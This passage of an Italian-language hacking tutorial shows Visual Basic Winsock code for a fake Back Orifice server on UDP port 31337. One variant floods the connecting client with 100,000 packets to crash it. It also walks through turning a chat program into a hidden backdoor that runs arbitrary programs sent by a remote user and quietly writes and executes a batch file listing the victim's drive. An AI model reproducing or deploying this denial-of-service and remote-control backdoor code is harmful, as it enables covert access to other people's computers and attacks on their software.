Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Accept requestID
Label1.Caption = "Collegamento effettuato e ATTIVO"
Host = TCP1.RemoteHostIP
End Sub
Questa e' la dichiarazione del server di 'accettazione' del collegamento col client.
Il server riceve un identificatore (requestID) .. e lo deve accettare o meno sulla
base dei dati delclient che gli vengono forniti IP e porta di provenienza.
Dal momento che a noi di questi problemi non ci interessa nulla
accetteremo tutto di buon grando con
TCP1.accept requestID! ;-)
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
TCP1.GetData Data
LEGGI = "R>" & Data & vbCrLf & LEGGI
End Sub
Il solito DataArrival con la linea
LEGGI = "R>" & Data & vbCrLf & LEGGI
la quale, come spiegato in precedenza, mette i dati ricevuti in testa al form LEGGI
(la finestra di dialogo praticamente) aggiungendo i caratteri "R>" per evidenziare
che sono dati IN-ARRIVO.
Private Sub comandi_Click()
comandi = ""
End Sub
Semplicemente cancella la riga comandi dalle vecchie cose 'battute' quando ci cliccate
sopra col mouse.
----------------------------------------------------------
Un esempio di protocollo UDP? ..si! ;-)
e' ancora piu' semplice del TCP.. non necessita nemmeno del listen. Basta usare
il solito evento DataArrival dopo aver settato la porta da controllare.
Facciamo il caso di Bopsy ... Il programma che simula il server della backdoor Backorifice
e invia al client messaggi costruiti ad hoc.
Noi ci faremo un Bopsy 'casereccio' .. un programma che se ne sta li inattivo ascoltando
la porta UDP 31337 e quando riceve qualche dato invia al client BOGUI un messaggio nel suo
stesso linguaggio.
Come prima cosa ci serve il messaggio tradotto nel protocollo specifico di backorifice.
Io ho tradotto questo
MA LA VOGLIAMO FINIRE! = cuK(tm)t?3[SU|S"`
Come ho fatto? .. e' una sciocchezza. ;-) .. basta aprire netcat in ascolto sulla porta
UDP 31337, aprire il client BOGUI e inviare a se stessi (127.0.0.1) un qualunque comando
che preveda l'invio di parametri mettendo come parametro appunto MA LA VOGLIAMO FINIRE!
Il client inviera' al server (che nel nostro caso e' semplicemente NETCAT) la stringa
gia' compilata.
Si puo' usare anche NukeNabber.. le stringe che riceve e che mostra sono appunto i comandi
cifrati in arrivo dal client BOGUI.
Volendo ci sono in rete pagine che spiegano approfonditamente il protocollo magic di
backorifice, comprensive anche dei programmi per cifrare e decifrare i messaggi.
Basta cercare "Boprotocol" o "Bo protocol" su altavista.
Ora bisogna sapere qualcosina di piu' del funzionamento di backorifice per fare il nostro
mini-bopsy.
Il client apre a sua volta una porta dove sta in ascolto per riceve le risposte dal server.
Tutte le volte cambia, ma questo non e' un problema infatti noi sappiamo bene che quando
il winsock riceve un dato su una certa porta riceve contemporaneamente dentro i pacchetti
anche le specifiche di chi lo ha inviato: IP + porta di provenienza.
E il winsock li puo' mostrare molto semplicemente con UDP1.remotehostIP e UDP1.remotePort
Attenzione: per questo programma sara' necessario tirare sul form il controllo UDP del winsock
e non il TCP come abbiamo fatto fino ad ora!!
In pratica il programma e' tutto qui: meno di 10 righe utili.
----------------------------------------------------------------
Private Sub Form_activate()
UDP1.LocalPort = Porta_locale
MioIP = UDP1.LocalIP
End Sub
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
UDP1.GetData rcv, vbString
ricevi = ricevi & rcv
IP_del_pingatore = UDP1.RemoteHostIP
Porta_del_pingatore = UDP1.RemotePort
UDP1.RemoteHost = IP_del_pingatore
UDP1.SendData "cuK(tm)t?3[SU|S"`"
End Sub
----------------------------------------------------------------
Sembrava peggio eh!? ;-))
Fate un form con cinque caselle di testo
La prima la chiamate "MioIp"
la seconda "Porta_locale" (ci mettete 31337 di default)
La terza "IP_del_pingatore"
la quarta "Porta_del_pingatore"
la quinta la fate grande (e' dove ricevete i messaggi dal bogui..tipo nukenabber)
la chiamate "ricevi".
Tutto qui.. lo lanciate... poi provate a pingarvi col bogui (anche scollegati su 127.0.0.1)
vedrete nella finestra ricevi del vostro minibopsy apparire i codici inviati dal bogui.
Nella finestra MioIP il vostro io.. 127.0.0.1 in questo caso. e nelle due sottostanti
l'ip e la porta di provenienza del ping. (Se ve lo avesse inviato uno in rete ora avreste
il suo IP e la porta dal quale ve l'ha spedito!)
In compenso sul BOGUI al posto del classico PONG vedrete apparire come per miracolo
la scritta
---------------------------------------------
MA LA VOGLIAMO FINIRE!
---------------------------------------------
Come funziona? ..
La prima procedura
Private Sub Form_activate()
UDP1.LocalPort = Porta
MioIP = UDP1.LocalIP
End Sub
Setta semplicemente all'apertura del programma il controllo UDP del winsock sulla porta
locale dove intendete mettervi in ascolto.. (la 31337 si suppone) e vi da
(solo per informazione) il vostro IP del momento nella casella MioIp.
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
Dim rcv As Variant
On Error Resume Next
UDP1.GetData rcv, vbString
ricevi = ricevi & rcv
IP_del_pingatore = UDP1.RemoteHostIP
Porta_del_pingatore = UDP1.RemotePort
UDP1.RemoteHost = IP_del_pingatore
UDP1.SendData "cuK(tm)t?3[SU|S"`"
End Sub
questa procedura e' TUTTO il programma bopsy! ;-)
Cosa fa'?.
All'arrivo di dati sulla porta precedentemente settata per l'ascolto l'evento dataArrival
esegue la procedura. I dati sono sommati alla casella di testo ricevi.
Nelle caselle Ip_del_pingatore e Porta_del_pingatore il winsock tramite
UDP1.RemoteHostIp e UDP1.RemotePort ci informa da dove provengono i dati.
A questo punto se NOI mettiamo l'Ip del pingatore in UDP1.RemoteHost e la porta
sulla quale spedire in RemotePort (che e' gia' settata di suo)
possiamo a nostra volta SPEDIRE al client BOGUI dei dati se quella specifica porta che
lascia aperta appositamente per il suo server.
Noi al posto del PONG tradizionale spediremo il cifrato precedentemente trovato.
Potete ovviamente spedire qualunque altra riga di testo purche' in precedenza
cifrata col sistema del nukenabber o del netcat.
.. ad essere onesti adesso vi basta il minibopsy per avere le stringhe cifrate del BOGUI!!
he he he .. la finestra di dialogo "ricevi" fa esattamente quello che vi serve.
Un bopsy che manda in crash il client bogui? ;-)
lo stesso programma di prima
il form e' questo
+-----------------------------------------------------------------+
| _____________ ____________ |
| Il mio IP |MioIp________| Porta |Porta_locale| (31337 default!) |
| _____________________________________________________________ |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________________________| |
| ________________ ___________________ |
| Ip-Pingatore:Porta |Ip_del_pingatore| |Porta_del_pingatore| |
|_________________________________________________________________|
Il programma .. che invia 100000 messaggi al client fino a mandarlo in crash.
---------------------------------------------------------------------
Private Sub Form_activate()
UDP1.LocalPort = porta_locale
MioIp = UDP1.LocalIP
End Sub
Private Sub UDP1_DataArrival(ByVal bytsTotal As Long)
On Error Resume Next
UDP1.GetData rcv, vbString
text4 = text4 & rcv & vbCrLf
IP_del_pingatore = UDP1.RemoteHostIP
Porta_del_pingatore = UDP1.RemotePort
UDP1.RemoteHost = IP_del_pingatore
For n=1 to 100000
DoEvents
UDP1.SendData "cuK(tm)t?3[SU|S"`"
Next n
End Sub
---------------------------------
Tutto chiaro? ;-)
Ora ci sarebbe la parte riguardante le nuke e le backdoor.
Dico sarebbe perche' in effetti non c'e'.. se non avete capito come fare un programma
per mandare una nuke o per fare una backdoor dopo aver letto tutta questa roba e' meglio
che lasciate perdere la programmazione col winsock! ;-)
vi do il via cmq.. la partenza e' sempre la cosa piu' importante.
I piu' vispi avranno gia' visto che il programm CHAT e' gia di per se una backdoor!
Le uniche modifiche da fare sarebbero quelle di rendere il server automatico, nel senso
che dovrebbe porsi in lISTEN automaticamente eliminando la procedura per la disconnessione
per simpatia col client. (E ci vuole poco)
Per far si che non appaia nella task bar c'e' l'opzione apposita nelle proprieta' del form
in vb.
me.ShowInTaskbar = false
Poi andrebbe ad esempio modificata la procedura col DataArrival..
provate ad aggiungere queste linee dopo l'istruzione TCP1.Getdata
-----------------------------------------------------------
' shell
' inviando al server invece del solito testo una frase tipo
' /1 calc.exe 1 .. il server esegue il programma (se e' presente
' sul computer ospite) indicato tra gli estremi /1 - 1
If InStr(1, Data, "/1") Then
inizio = InStr(1, Data, "/1") + 2
lun = InStr(1, Data, "1") - inizio
a$ = Mid$(Data, inizio, lun)
txtOutput = a$
a = Shell(a$, 1)
End If
' Message box
' Apre una MsgBox col testo indicato tra gli estremi /2 - 2
If InStr(1, Data, "/2") Then
inizio = InStr(1, Data, "/2") + 2
lun = InStr(1, Data, "2") - inizio
a$ = Mid$(Data, inizio, lun)
txtOutput = a$
a = MsgBox(a$, , " Master dialog ;-) ")
End If
' Directory LIST
' Dice al server di costruire di noascosto un file
' contenente la lista dei file presenti sull'hd nella
' directory principale.
' Salva il tutto nel file MIO.TXT collocato nel folder
' del server.
If InStr(1, Data, "/3") Then
inizio = InStr(1, Data, "/3") + 2
lun = InStr(1, Data, "3") - inizio
a$ = Mid$(Data, inizio, lun)
Open "c:dire.bat" For Output As #1
Print #1, "dir c:*.* > c:mio.txt"
Print #1, ""
Close #1
a = Shell("c:dire.bat", 0)
End If
' mandando il testo "hi hi hi"
' apre la calcolatrice di windows.
If InStr(1, a$, "hi hi hi") > 0 Then
a = Shell("c:windowscalc.exe", 1)
End If
ecc..
ecc..
ecc..
----------------------------------------------------
C'era altro che dovevo dire? .. no. Mi pare tutto. Tanto. Pure troppo forse. ;-)
|
|
|
|
